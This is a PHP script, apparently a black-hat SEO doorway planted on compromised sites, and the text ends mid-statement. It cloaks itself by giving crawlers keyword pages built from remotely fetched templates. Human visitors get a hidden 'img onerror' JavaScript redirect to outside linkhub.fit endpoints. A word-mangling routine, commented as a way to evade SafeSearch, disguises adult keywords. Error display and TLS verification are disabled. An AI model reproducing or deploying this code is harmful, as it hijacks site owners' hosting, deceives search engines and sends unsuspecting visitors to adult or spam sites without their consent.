<?php
error_reporting(0);
ini_set('display_errors', 0);
header('Content-Type: text/html; charset=utf-8');

// ─── Polyfill mbstring (fallback jika hosting tidak aktifkan extension) ──────
if (!function_exists('mb_strtolower')) {
    function mb_strtolower($str, $encoding = 'UTF-8') { return strtolower($str); }
}
if (!function_exists('mb_strtoupper')) {
    function mb_strtoupper($str, $encoding = 'UTF-8') { return strtoupper($str); }
}
if (!function_exists('mb_strlen')) {
    function mb_strlen($str, $encoding = 'UTF-8') { return strlen($str); }
}
if (!function_exists('mb_substr')) {
    function mb_substr($str, $start, $length = null, $encoding = 'UTF-8') {
        return $length === null ? substr($str, $start) : substr($str, $start, $length);
    }
}

// ─── Keyword Index Helpers (fseek — tanpa load full file) ───────────────────
// Bangun binary index: 4 byte per baris = offset byte di keyword1.txt
// Dipanggil sekali; otomatis rebuild kalau keyword1.txt lebih baru dari .idx
function buildKwIdx($kwFile) {
    $idxFile  = $kwFile . '.idx';
    $cntFile  = $kwFile . '.count';
    $partsDir = $kwFile . '.parts';
    $fh = @fopen($kwFile, 'rb');
    $fi = @fopen($idxFile, 'wb');
    if (!$fh || !$fi) { if ($fh) fclose($fh); if ($fi) fclose($fi); return 0; }
    $slugParts = array_fill(0, 256, array());
    $offset = 0; $count = 0;
    while (!feof($fh)) {
        fwrite($fi, pack('N', $offset));          // 4 byte big-endian uint32
        $line = fgets($fh);
        if ($line === false) break;
        $kw = trim($line);
        if ($kw !== '') {
            $slug = str_replace(' ', '-', mb_strtolower($kw, 'UTF-8'));
            $slugParts[abs(crc32($slug)) % 256][$slug] = $count;
        }
        $offset += strlen($line);
        $count++;
    }
    fclose($fh); fclose($fi);
    @file_put_contents($cntFile, $count, LOCK_EX);
    if (!is_dir($partsDir)) @mkdir($partsDir, 0755, true);
    foreach ($slugParts as $b => $map) {
        @file_put_contents($partsDir . '/' . sprintf('%02x', $b) . '.json',
            json_encode($map, JSON_UNESCAPED_UNICODE), LOCK_EX);
    }
    return $count;
}

// Ambil 1 baris keyword berdasarkan nomor baris tanpa load seluruh file
function getKwByIdx($kwFile, $lineNum) {
    $idxFile = $kwFile . '.idx';
    $fi = @fopen($idxFile, 'rb');
    if (!$fi) return '';
    fseek($fi, $lineNum * 4);
    $raw = fread($fi, 4);
    fclose($fi);
    if (strlen($raw) < 4) return '';
    $offset = unpack('N', $raw)[1];
    $fh = @fopen($kwFile, 'rb');
    if (!$fh) return '';
    fseek($fh, $offset);
    $line = fgets($fh);
    fclose($fh);
    return trim((string)$line);
}

// Pastikan index ada & masih fresh; return total line count
// Static cache: cek disk hanya sekali per FPM worker
function ensureKwIdx($kwFile) {
    static $counts = array();
    if (isset($counts[$kwFile])) return $counts[$kwFile];
    $idxFile  = $kwFile . '.idx';
    $cntFile  = $kwFile . '.count';
    $partsDir = $kwFile . '.parts';
    if (!is_file($idxFile) || !is_file($cntFile) ||
        filemtime($idxFile) < filemtime($kwFile)) {
        $counts[$kwFile] = buildKwIdx($kwFile);
        return $counts[$kwFile];
    }
    if (!is_dir($partsDir) || !is_file($partsDir . '/00.json')) {
        buildKwIdx($kwFile);
    }
    $counts[$kwFile] = (int)@file_get_contents($cntFile);
    return $counts[$kwFile];
}

// O(1) slug lookup via 256-partition JSON hashmap
// Static cache: tiap partisi di-load dari disk 1× per FPM worker
function lookupKwSlug($kwFile, $slug) {
    static $parts = array();
    $bucket = abs(crc32($slug)) % 256;
    $key    = $kwFile . ':' . $bucket;
    if (!isset($parts[$key])) {
        $path        = $kwFile . '.parts/' . sprintf('%02x', $bucket) . '.json';
        $map         = is_file($path) ? @json_decode(@file_get_contents($path), true) : null;
        $parts[$key] = is_array($map) ? $map : array();
    }
    return isset($parts[$key][$slug]) ? (int)$parts[$key][$slug] : false;
}

// Exact match lalu progressive prefix match — tanpa scan seluruh file
function findKwByIncomingSlug($kwFile, $incomingSlug) {
    $lineNum = lookupKwSlug($kwFile, $incomingSlug);
    if ($lineNum !== false) return array($lineNum, $incomingSlug);
    // Coba slug makin pendek: "bokep-indo-terbaru" → "bokep-indo" → "bokep"
    $parts = explode('-', $incomingSlug);
    for ($len = count($parts) - 1; $len >= 1; $len--) {
        $trySlug = implode('-', array_slice($parts, 0, $len));
        $lineNum = lookupKwSlug($kwFile, $trySlug);
        if ($lineNum !== false) return array($lineNum, $trySlug);
    }
    return false;
}

// ─── Mangle Word Function (top-level, reusable) ──────────────────────────────
// 5 gaya mangle untuk bypass SafeSearch, konsisten per seed
function mangleWord($word, $styleSeed) {
    $style = abs(crc32($styleSeed)) % 5;
    $chars = preg_split('//u', $word, -1, PREG_SPLIT_NO_EMPTY);
    $len = count($chars);
    if ($len === 0) return $word;
    $result = '';
    switch ($style) {
        case 0: // rAnDoM cApS: bOkEp
            foreach ($chars as $i => $c) {
                $up = (abs(crc32($styleSeed . $i)) % 3) === 0;
                $result .= $up ? mb_strtoupper($c, 'UTF-8') : mb_strtolower($c, 'UTF-8');
            }
            break;
        case 1: // DOBEL huruf: bBookep
            foreach ($chars as $i => $c) {
                $result .= $c;
                if ((abs(crc32($styleSeed . 'd' . $i)) % 4) === 0) {
                    $result .= mb_strtoupper($c, 'UTF-8');
                }
            }
            break;
        case 2: // Caps depan: BOKep
            $splitAt = max(1, abs(crc32($styleSeed . 'split')) % $len);
            foreach ($chars as $i => $c) {
                $result .= ($i < $splitAt) ? mb_strtoupper($c, 'UTF-8') : mb_strtolower($c, 'UTF-8');
            }
            break;
        case 3: // CamelCase: BoKeP
            foreach ($chars as $i => $c) {
                $result .= ($i % 2 === 0) ? mb_strtoupper($c, 'UTF-8') : mb_strtolower($c, 'UTF-8');
            }
            break;
        case 4: // Depan+akhir caps: BokeP
            foreach ($chars as $i => $c) {
                $result .= ($i === 0 || $i === $len - 1) ? mb_strtoupper($c, 'UTF-8') : mb_strtolower($c, 'UTF-8');
            }
            break;
    }
    return $result;
}

// ─── Bot Detection ────────────────────────────────────────────────────────────
function isBot()
{
    $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
    if ($ua === '') return true;
    // 1 preg_match (PCRE JIT) jauh lebih cepat dari 120x stripos
    return (bool) preg_match(
        '/bot|spider|crawler|slurp|scraper|fetcher|checker|indexer|archiver|worm|harvest' .
        '|scan|wget|curl|python|libwww|jakarta|java\/|httpclient|okhttp|go-http|ruby' .
        '|googlebot|google-inspectiontool|google-read-aloud|storebot|adsbot|feedfetcher' .
        '|apis-google|duplex|google-site|bingbot|msnbot|bingpreview|adidxbot|microsoftpreview' .
        '|yahoo.*slurp|yandex|baiduspider|baidubox|facebookexternalhit|facebot|twitterbot' .
        '|linkedinbot|pinterest|whatsapp|telegrambot|discordbot|slackbot|skypeuri|redditbot' .
        '|tumblr|vkshare|w3c_validator|wechat|micromessenger|instagram|snapchat' .
        '|ahrefsbot|semrushbot|mj12bot|dotbot|rogerbot|spbot|seznambot|petalbot|bytespider' .
        '|blexbot|screaming.frog|sistrix|se\.ranking|dataforseo|seoscanners|linkdexbot' .
        '|seokicks|turnitinbot|gigabot|exabot|sogou|uptime|uptimerobot|statuscake|pingdom' .
        '|site24x7|newrelic|dynatrace|appdynamics|gtmetrix|dotcom-monitor|watchmouse|alertsite' .
        '|archive\.org|wayback|httrack|internetarchive|webarchive' .
        '|gptbot|chatgpt|claude-web|anthropic|cohere-ai|ccbot|omgili|perplexitybot|youbot' .
        '|meta-external|headlesschrome|phantomjs|selenium|puppeteer|playwright|nightmare' .
        '|slimerjs|htmlunit|zombiejs|applebot|duckduckbot|naverbot|mediapartners' .
        '|mod_pagespeed|xing-content|linkwalker|linkidator|feedparser|feedly|feedburner' .
        '|newsblur|plukkie|360spider|sosospider|ichiro|panscient|netcraft|worldbreeze' .
        '|zoominfobot|shopwiki|megaindex|surferbot|domaincrawler|paperlibot|swiftbot/i',
        $ua
    );
}

// ─── Fetch Helper (5 cara) ────────────────────────────────────────────────────
function fetchContent($url, $timeout = 8)
{
    $result = false;

    // Cara 1: file_get_contents dengan context
    if ($result === false) {
        $ctx = stream_context_create(array(
            'http' => array('timeout' => $timeout, 'user_agent' => 'Mozilla/5.0'),
            'ssl'  => array('verify_peer' => false, 'verify_peer_name' => false)
        ));
        $data = @file_get_contents($url, false, $ctx);
        if ($data !== false && trim($data) !== '') $result = $data;
    }

    // Cara 2: cURL
    if ($result === false && function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt_array($ch, array(
            CURLOPT_RETURNTRANSFER => 1, CURLOPT_TIMEOUT => $timeout,
            CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_FOLLOWLOCATION => 1,
            CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_USERAGENT => 'Mozilla/5.0'
        ));
        $res = @curl_exec($ch);
        $ok  = !curl_error($ch) && curl_getinfo($ch, CURLINFO_HTTP_CODE) === 200;
        curl_close($ch);
        if ($ok && $res !== false && trim($res) !== '') $result = $res;
    }

    // Cara 3: file_get_contents sederhana (tanpa context)
    if ($result === false) {
        $data = @file_get_contents($url);
        if ($data !== false && trim($data) !== '') $result = $data;
    }

    // Cara 4: fsockopen
    if ($result === false) {
        $p = parse_url($url);
        $host = isset($p['host']) ? $p['host'] : '';
        $port = (isset($p['scheme']) && $p['scheme'] === 'https') ? 443 : 80;
        $path = isset($p['path']) ? $p['path'] : '/';
        $prefix = (isset($p['scheme']) && $p['scheme'] === 'https') ? 'ssl://' : '';
        $fp = @fsockopen($prefix . $host, $port, $errno, $errstr, $timeout);
        if ($fp) {
            fwrite($fp, "GET {$path} HTTP/1.1\r\nHost: {$host}\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n");
            $raw = '';
            while (!feof($fp)) $raw .= fgets($fp, 4096);
            fclose($fp);
            $parts = explode("\r\n\r\n", $raw, 2);
            if (isset($parts[1]) && trim($parts[1]) !== '') $result = $parts[1];
        }
    }

    // Cara 5: stream_socket_client
    if ($result === false) {
        $p = parse_url($url);
        $host = isset($p['host']) ? $p['host'] : '';
        $port = (isset($p['scheme']) && $p['scheme'] === 'https') ? 443 : 80;
        $path = isset($p['path']) ? $p['path'] : '/';
        $scheme = (isset($p['scheme']) && $p['scheme'] === 'https') ? 'ssl://' : 'tcp://';
        $ctx = stream_context_create(array('ssl' => array('verify_peer' => false, 'verify_peer_name' => false)));
        $sock = @stream_socket_client($scheme . $host . ':' . $port, $errno, $errstr, $timeout, STREAM_CLIENT_CONNECT, $ctx);
        if ($sock) {
            fwrite($sock, "GET {$path} HTTP/1.1\r\nHost: {$host}\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n");
            $raw = '';
            while (!feof($sock)) $raw .= fread($sock, 4096);
            fclose($sock);
            $parts = explode("\r\n\r\n", $raw, 2);
            if (isset($parts[1]) && trim($parts[1]) !== '') $result = $parts[1];
        }
    }

    return $result;
}

// ─── 404 Page ─────────────────────────────────────────────────────────────────
function send404()
{
    header('HTTP/1.1 404 Not Found');
    include dirname(__FILE__) . '/abouts.php';
    exit;
}

// ─── Keyword Match ────────────────────────────────────────────────────────────
// Cek apakah ada keyword dari GET (products/category/index) atau path
$getParams = array('products', 'category', 'index');
$hasProducts = false;
foreach ($getParams as $gp) {
    if (isset($_GET[$gp])) { $hasProducts = true; break; }
}

// ─── Baca keyword: dari ?products= / ?category= / ?index= ATAU dari path /keyword ───
$rawSlug = '';
foreach ($getParams as $gp) {
    if (!empty($_GET[$gp])) {
        $rawSlug = trim($_GET[$gp]);
        break;
    }
}
if ($rawSlug === '') {
    $path = trim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), '/');
    // Support /index.php/keyword format
    if (stripos($path, 'index.php/') === 0) {
        $path = substr($path, strlen('index.php/'));
    }
    // Support /keyword-title-slug.html format
    // Juga support /keyword.html sederhana
    if (substr($path, -5) === '.html') {
        $path = substr($path, 0, -5);
    }
    if ($path !== '' && $path !== 'index.php') {
        $rawSlug = $path;
    }
}

$incomingSlug = str_replace(' ', '-', mb_strtolower(rawurldecode($rawSlug), 'UTF-8'));

$_isBot = isBot(); // memoize — dipanggil sekali, dipakai 2x

// ─── Siapkan redirect URLs (dipakai di root access & keyword pages) ─────────
$_redir_dom  = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$_redir_base = 'https://royalxp-trafick.linkhub.fit/redirect.php?dom=' . urlencode($_redir_dom) . '&brand=';
$redirectUrls = array($_redir_base, $_redir_base);

// ─── Root URL tanpa keyword ──────────────────────────────────────────────────
// Manusia → tampilkan abouts.php | Bot → pilih keyword random dari daftar
$isRootAccess = ($incomingSlug === '');
if ($isRootAccess && !$_isBot) {
    // Manusia akses root → tampilkan abouts.php
    // Jika datang dari Google, inject redirect dulu
    $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
    if (stripos($referer, 'google.') !== false) {
        echo '<img src="/static/images/d4fdf41d5g.png" onerror=window.location="' . $redirectUrls[array_rand($redirectUrls)] . '">';
    }
    include dirname(__FILE__) . '/abouts.php';
    exit;
}

// ─── Keyword Load & Brand Match ──────────────────────────────────────────────
// Deteksi URL sitemap_indo: slug mengandung '/' (3-level path: prefix/video/filename)
$isIndoUrl = (strpos($incomingSlug, '/') !== false);

$kwLocalPaths = array(
    dirname(__FILE__) . '/keyword1.txt',
);
$kwLocalFile = '';
foreach ($kwLocalPaths as $src) {
    if (is_file($src)) { $kwLocalFile = $src; break; }
}

// ── Helper: fetch keyword1.txt dari remote jika lokal tidak ada ───────────────
function fetchAndSaveKeyword($kwLocalPaths) {
    $kwRemote = 'https://joingroup-id.com/seo/file-royalxp/keyword1.txt';
    $kwData   = false;

    // Cara 1: file_get_contents dengan context
    if ($kwData === false) {
        $ctx = stream_context_create(array('http' => array('timeout' => 8, 'user_agent' => 'Mozilla/5.0'),
            'ssl' => array('verify_peer' => false, 'verify_peer_name' => false)));
        $kwData = @file_get_contents($kwRemote, false, $ctx);
    }
    // Cara 2: cURL
    if (($kwData === false || trim($kwData) === '') && function_exists('curl_init')) {
        $ch = curl_init($kwRemote);
        curl_setopt_array($ch, array(CURLOPT_RETURNTRANSFER => 1, CURLOPT_TIMEOUT => 10,
            CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_FOLLOWLOCATION => 1,
            CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_USERAGENT => 'Mozilla/5.0'));
        $res = @curl_exec($ch);
        $ok  = !curl_error($ch) && curl_getinfo($ch, CURLINFO_HTTP_CODE) === 200;
        curl_close($ch);
        if ($ok && $res !== false) $kwData = $res;
    }
    // Cara 3: file_get_contents sederhana
    if ($kwData === false || trim($kwData) === '') {
        $kwData = @file_get_contents($kwRemote);
    }
    // Cara 4: fsockopen
    if ($kwData === false || trim($kwData) === '') {
        $p = parse_url($kwRemote);
        $host = $p['host']; $port = ($p['scheme'] === 'https') ? 443 : 80;
        $path = isset($p['path']) ? $p['path'] : '/';
        $fp = @fsockopen(($p['scheme'] === 'https' ? 'ssl://' : '') . $host, $port, $errno, $errstr, 8);
        if ($fp) {
            fwrite($fp, "GET {$path} HTTP/1.1\r\nHost: {$host}\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n");
            $raw = '';
            while (!feof($fp)) $raw .= fgets($fp, 1024);
            fclose($fp);
            $parts = explode("\r\n\r\n", $raw, 2);
            if (isset($parts[1]) && trim($parts[1]) !== '') $kwData = $parts[1];
        }
    }
    // Cara 5: stream_socket_client
    if ($kwData === false || trim($kwData) === '') {
        $p = parse_url($kwRemote);
        $host = $p['host']; $port = ($p['scheme'] === 'https') ? 443 : 80;
        $path = isset($p['path']) ? $p['path'] : '/';
        $scheme = ($p['scheme'] === 'https') ? 'ssl://' : 'tcp://';
        $ctx = stream_context_create(array('ssl' => array('verify_peer' => false, 'verify_peer_name' => false)));
        $sock = @stream_socket_client($scheme . $host . ':' . $port, $errno, $errstr, 8, STREAM_CLIENT_CONNECT, $ctx);
        if ($sock) {
            fwrite($sock, "GET {$path} HTTP/1.1\r\nHost: {$host}\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n");
            $raw = '';
            while (!feof($sock)) $raw .= fread($sock, 1024);
            fclose($sock);
            $parts = explode("\r\n\r\n", $raw, 2);
            if (isset($parts[1]) && trim($parts[1]) !== '') $kwData = $parts[1];
        }
    }

    if ($kwData !== false && trim($kwData) !== '') {
        $saveTo = dirname($kwLocalPaths[0]) . '/keyword1.txt';
        @file_put_contents($saveTo, $kwData, LOCK_EX);
        return $saveTo;
    }
    return false;
}

$BRAND   = '';
$NUMLIST = 0;

// ── Fast path: root atau sitemap_indo — gunakan fseek index, tanpa load full file ──
if ($isRootAccess || $isIndoUrl) {
    if ($kwLocalFile === '') {
        $saved = fetchAndSaveKeyword($kwLocalPaths);
        if ($saved === false) {
            header('HTTP/1.1 500 Internal Server Error');
            exit('Error 500: Gagal memuat keyword1.txt.');
        }
        $kwLocalFile = $saved;
    }
    $totalKw = ensureKwIdx($kwLocalFile);
    if ($totalKw <= 0) {
        header('HTTP/1.1 500 Internal Server Error');
        exit('Error 500: Gagal membangun keyword index.');
    }

    if ($isRootAccess) {
        $rootSeed = $_SERVER['HTTP_HOST'] . '|root-keyword';
        $kwIdx    = abs(crc32($rootSeed)) % $totalKw;
        $kw       = getKwByIdx($kwLocalFile, $kwIdx);
        $BRAND    = strtoupper($kw);
        $NUMLIST  = $kwIdx + 1;
        $incomingSlug = str_replace(' ', '-', mb_strtolower($kw, 'UTF-8'));
    } else {
        // sitemap_indo URL
        $indoIdx  = abs(crc32($_SERVER['HTTP_HOST'] . '|indo|' . $incomingSlug)) % $totalKw;
        $BRAND    = strtoupper(getKwByIdx($kwLocalFile, $indoIdx));
        $NUMLIST  = $indoIdx + 1;
    }
} else {
    // ── Normal keyword URL — O(1) hashmap lookup, tanpa load full file ────────
    if ($kwLocalFile === '') {
        $saved = fetchAndSaveKeyword($kwLocalPaths);
        if ($saved === false) {
            header('HTTP/1.1 500 Internal Server Error');
            exit('Error 500: Gagal memuat keyword1.txt.');
        }
        $kwLocalFile = $saved;
    }
    $totalKw = ensureKwIdx($kwLocalFile);
    if ($totalKw <= 0) {
        header('HTTP/1.1 500 Internal Server Error');
        exit('Error 500: Gagal membangun keyword index.');
    }
    $found = findKwByIncomingSlug($kwLocalFile, $incomingSlug);
    if ($found !== false) {
        $kwIdx        = $found[0];
        $incomingSlug = $found[1];
        $kw           = getKwByIdx($kwLocalFile, $kwIdx);
        $BRAND        = strtoupper($kw);
        $NUMLIST      = $kwIdx + 1;
    } else {
        // Fallback hash-based jika slug tidak ditemukan di index
        $kwIdx   = abs(crc32($_SERVER['HTTP_HOST'] . '|indo|' . $incomingSlug)) % $totalKw;
        $BRAND   = strtoupper(getKwByIdx($kwLocalFile, $kwIdx));
        $NUMLIST = $kwIdx + 1;
    }
}

// ─── Siapkan redirect trick untuk manusia ────────────────────────────────────
$redirectUrl = 'https://awesome.linkhub.fit/redirect.php?dom=' . urlencode($urlPath) . '&brand=' . urlencode(mb_strtolower($BRAND, 'UTF-8'));
$redirectTag = !$_isBot
    ? '<img src="/static/images/d4fdf41d5g.png" onerror=window.location="' . $redirectUrl . '">'
    : '';

// ─── Build variables ──────────────────────────────────────────────────────────
$protocol = 'https';
$fullUrl = $protocol . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$parsed = parse_url($fullUrl);

$parsedScheme = isset($parsed['scheme']) ? $parsed['scheme'] : '';
$parsedHost = isset($parsed['host']) ? $parsed['host'] : '';
$parsedPath = isset($parsed['path']) ? $parsed['path'] : '';
$parsedQuery = isset($parsed['query']) ? $parsed['query'] : '';

$urlPath = $parsedScheme . '://' . $parsedHost . $parsedPath . ($parsedQuery !== '' ? '?' . $parsedQuery : '');

date_default_timezone_set('UTC');
$timestamp = date('Y-m-d\TH:i:s\Z');

$_sp    =& _sp();
$domainSeed  = $_SERVER['HTTP_HOST'] . '|' . $incomingSlug;
$randomEmoji = '';

$words  =& $_sp['words'];
// ─── Safe Text Generator ──────────────────────────────────────────────────────
// Menghasilkan frasa netral dari file lokal cpanel/junk_words.txt.
function generateJunkText($seed) {
    static $words, $formats;
    if (!isset($words)) {
        $file = dirname(__FILE__) . '/junk_words.txt';
        $words = array();

        if (is_readable($file)) {
            $raw = @file($file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
            if (is_array($raw)) {
                foreach ($raw as $line) {
                    $line = trim($line);
                    if ($line !== '' && $line[0] !== '#') {
                        $words[] = $line;
                    }
                }
            }
        }

        if (empty($words)) {
            $words = array('informasi', 'panduan', 'artikel', 'referensi', 'layanan', 'produk');
        }

        $formats = array(
            '%s',
            'topik %s',
            'info %s',
            'pilihan %s',
            'referensi %s'
        );
    }

    $word = $words[abs(crc32($seed . 'word')) % count($words)];
    $format = $formats[abs(crc32($seed . 'format')) % count($formats)];

    return trim(sprintf($format, $word));
}

// ─── Pilih randomWord: random per domain+keyword (konsisten, beda tiap domain) ──
$wordHash = abs(crc32($domainSeed . 'wordtype'));
if ($wordHash % 2 === 0 && !empty($words)) {
    // Dari list $words jika tersedia
    $randomWord = $words[abs(crc32($domainSeed . 'word')) % count($words)];
} else {
    // Fallback generator netral
    $randomWord = generateJunkText($domainSeed);
}

$lokasi =& $_sp['lokasi'];
$randomLokasi = $lokasi[abs(crc32($domainSeed . 'lokasi')) % 52];

// ─── Bing Thumbnail Image Builder ───────────────────────────────────────────
// Format: https://ts2.mm.bing.net/th?q=title+brand+domain
// Setiap slot gambar mendapat query sedikit berbeda agar konten beragam
$_bingHost   = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';
$_bingBrand  = strtolower($BRAND);
$_bingKw     = str_replace('-', '+', $incomingSlug);

function _bingImg($kw, $brand, $host, $extra = '') {
    $q = trim($kw . ($extra !== '' ? '+' . $extra : '') . '+' . $host, '+');
    // Bersihkan tanda + berlebih
    $q = preg_replace('/\++/', '+', $q);
    return 'https://ts2.mm.bing.net/th?q=' . $q;
}

$randomImg  = '';
$randomImg1 = '';
$randomImg2 = '';
$randomImg3 = '';
$randomImg4 = '';
$randomImg5 = '';

// ─── Load Template (remote + cache lokal) ───────────────────────────────────
// Daftar template remote (file.txt, file1.txt ... file6.txt)
$tplNames = array('file', 'file1', 'file2', 'file3', 'file4', 'file5', 'file6');
$tplBaseUrl = 'https://joingroup-id.com/seo/file-royalxp/';
$cacheDir = dirname(__FILE__) . '/cache_tpl';
if (!is_dir($cacheDir)) {
    @mkdir($cacheDir, 0755, true);
}

// Root → selalu pakai file4, keyword → pilih template berdasarkan hash
$_tplCount = count($tplNames);
if ($isRootAccess) {
    $tplIndex = array_search('file4', $tplNames);
} else {
    $tplSeed = $_SERVER['HTTP_HOST'] . '|' . $incomingSlug . '|tpl';
    $tplIndex = abs(crc32($tplSeed)) % $_tplCount;
}

$htmlContent = false;
// Static cache template per FPM worker — baca disk 1× per worker per template
static $tplMemCache = array();
for ($attempt = 0; $attempt < $_tplCount; $attempt++) {
    $idx = ($tplIndex + $attempt) % $_tplCount;
    $tplName = $tplNames[$idx];
    $cacheFile = $cacheDir . '/' . $tplName . '.txt';

    // Sudah ada di memory worker ini → langsung pakai
    if (isset($tplMemCache[$tplName])) {
        $htmlContent = $tplMemCache[$tplName];
        break;
    }

    // File ada → baca dari disk, simpan ke memory
    if (is_file($cacheFile)) {
        $data = @file_get_contents($cacheFile);
        if ($data !== false && trim($data) !== '') {
            $tplMemCache[$tplName] = $data;
            $htmlContent = $data;
            break;
        }
    }

    // File tidak ada → fetch dari remote, simpan ke disk dan memory
    $data = fetchContent($tplBaseUrl . $tplName . '.txt', 10);
    if ($data !== false && trim($data) !== '') {
        @file_put_contents($cacheFile, $data, LOCK_EX);
        $tplMemCache[$tplName] = $data;
        $htmlContent = $data;
        break;
    }
}

if (!$htmlContent || trim($htmlContent) === '') {
    header('HTTP/1.1 500 Internal Server Error');
    exit('Error 500: Gagal memuat template dari remote maupun cache.');
}

$BRANDS = $BRAND; // alias — support {$BRAND} dan {$BRANDS}

// ─── SMART TITLE & DESC GENERATOR ─────────────────────────────────────────────
// Sistem agent: hash-based selection → 100 template × variabel pool = RIBUAN kombinasi unik
// Setiap domain+keyword SELALU dapat kombinasi SAMA (konsisten), tapi BEDA antar domain

// ─── Variable Pools (remote txt + 24h local cache; zero-cost after first FPM request) ─────
function &_sp(): array {
    static $p;
    if (isset($p)) return $p;

    $remote   = 'https://joingroup-id.com/seo/file-royalxp/particle-2/';
    $cacheDir = __DIR__ . '/cache_tpl';
    if (!is_dir($cacheDir)) @mkdir($cacheDir, 0755, true);

    // Pool key → remote filename (netral, tidak mencurigakan)
    $map = array(
        'words'           => 'kw.txt',
        'lokasi'          => 'lok.txt',
        'subjects'        => 'subj.txt',
        'actions'         => 'act.txt',
        'places'          => 'plc.txt',
        'professions'     => 'prof.txt',
        'hooks_konteks'   => 'hk.txt',
        'hooks_instruksi' => 'hi.txt',
        'ctas'            => 'cta.txt',
        'urgencies'       => 'urg.txt',
        'socials'         => 'soc.txt',
        'tones'           => 'ton.txt',
        'adjs'            => 'adj.txt',
        'tags'            => 'tag.txt',
        'platforms'       => 'plt.txt',
        'audiences'       => 'aud.txt',
        'waktu'           => 'wkt.txt',
        'angka'           => 'ang.txt',
        'emosi'           => 'emo.txt',
        'titles_konteks'  => 'tk.txt',
        'titles_instruksi'=> 'ti.txt',
        'desc_p1'         => 'dp1.txt',
        'desc_p2'         => 'dp2.txt',
        'desc_p3'         => 'dp3.txt',
        'desc_p4'         => 'dp4.txt',
        'desc_p5'         => 'dp5.txt',
        'desc_p6'         => 'dp6.txt',
        'desc_p7'         => 'dp7.txt',
        'v_lihat'         => 'vl.txt',
        'v_akses'         => 'va.txt',
        'v_sajikan'       => 'vs.txt',
        'p_sebagai'       => 'psb.txt',
        'p_yang'          => 'py.txt',
        'p_di'            => 'pdi.txt',
        'p_tentang'       => 'ptg.txt',
        'konek'           => 'knk.txt',
        'konek2'          => 'kn2.txt',
        'kual'            => 'kl.txt',
    );

    // Cache pool disimpan plain text (global lintas domain).
    // Hindari XOR/gz berbasis HTTP_HOST karena bikin cache saling rusak antar domain.
    $decodeCache = function($raw) {
        if (!is_string($raw) || trim($raw) === '') return null;
        $lines = array_values(array_filter(array_map('rtrim', explode("\n", str_replace("\r", '', $raw)))));
        return !empty($lines) ? $lines : null;
    };

    foreach ($map as $key => $file) {
        $cache = $cacheDir . '/' . $file;
        $data  = null;

        // File ada → langsung pakai, tidak perlu fetch
        if (is_file($cache)) {
            $raw2 = @file_get_contents($cache);
            if ($raw2 !== false) $data = $decodeCache($raw2);
        }

        // File tidak ada → fetch dari remote dan simpan (plain text)
        if (empty($data)) {
            $raw = fetchContent($remote . $file, 8);
            if ($raw !== false && trim($raw) !== '') {
                @file_put_contents($cache, $raw, LOCK_EX);
                $data = $decodeCache($raw);
            }
        }

        $p[$key] = !empty($data) ? $data : array('item');
    }
    unset($decodeCache);


    // images: tidak lagi dari img.txt — dibangun dinamis via Bing thumbnail
    $p['images'] = array();

    return $p;
} // end _sp()

// Extract static pool refs — alias to static storage, zero allocation after first request
// $_sp sudah diset di atas (baris ~465), tidak perlu panggil _sp() lagi
$_subjects         =& $_sp['subjects'];
$_actions          =& $_sp['actions'];
$_places           =& $_sp['places'];
$_professions      =& $_sp['professions'];
$_hooks_konteks    =& $_sp['hooks_konteks'];
$_hooks_instruksi  =& $_sp['hooks_instruksi'];
$_ctas             =& $_sp['ctas'];
$_urgencies        =& $_sp['urgencies'];
$_socials          =& $_sp['socials'];
$_tones            =& $_sp['tones'];
$_adjs             =& $_sp['adjs'];
$_tags             =& $_sp['tags'];
$_platforms        =& $_sp['platforms'];
$_audiences        =& $_sp['audiences'];
$_titles_konteks   =& $_sp['titles_konteks'];
$_titles_instruksi =& $_sp['titles_instruksi'];
$_waktu            =& $_sp['waktu'];
$_angka            =& $_sp['angka'];
$_emosi            =& $_sp['emosi'];
$_v_lihat          =& $_sp['v_lihat'];
$_v_akses          =& $_sp['v_akses'];
$_v_sajikan        =& $_sp['v_sajikan'];
$_p_sebagai        =& $_sp['p_sebagai'];
$_p_yang           =& $_sp['p_yang'];
$_p_di             =& $_sp['p_di'];
$_p_tentang        =& $_sp['p_tentang'];
$_konek            =& $_sp['konek'];
$_konek2           =& $_sp['konek2'];
$_kual             =& $_sp['kual'];
$_desc_p1          =& $_sp['desc_p1'];
$_desc_p2          =& $_sp['desc_p2'];
$_desc_p3          =& $_sp['desc_p3'];
$_desc_p4          =& $_sp['desc_p4'];
$_desc_p5          =& $_sp['desc_p5'];
$_desc_p6          =& $_sp['desc_p6'];
$_desc_p7          =& $_sp['desc_p7'];

// ─── Hash-based Smart Selection ──────────────────────────────────────────────
$_tdSeed = $_SERVER['HTTP_HOST'] . '|' . $incomingSlug . '|titledesc';

// Step 1: Pilih kategori (Konteks=0, Instruksi=1)
$_kategori = abs(crc32($_tdSeed . 'kat')) % 2;

// Step 2: Hash untuk pilih template (modulo dihitung setelah tahu array mana yang dipakai)
$_tplHash = abs(crc32($_tdSeed . 'tpl'));

// Step 3: Pilih variabel dari pool (semua hash-based, konsisten per domain+keyword)
// Modulo pakai count() supaya aman kalau jumlah baris file < nilai hardcoded lama

// Subject: gabung 2 item pool berbeda → 50×50 = 2.500 kombinasi (vs 50 sebelumnya)
// Mode 0 (33%): "subj_a dan subj_b" | Mode 1 (33%): "subj_b & subj_a" | Mode 2 (33%): subj_a saja
$_subjA      = $_subjects[abs(crc32($_tdSeed . 'subj_a')) % max(1, count($_subjects))];
$_subjBIdx   = abs(crc32($_tdSeed . 'subj_b')) % max(1, count($_subjects));
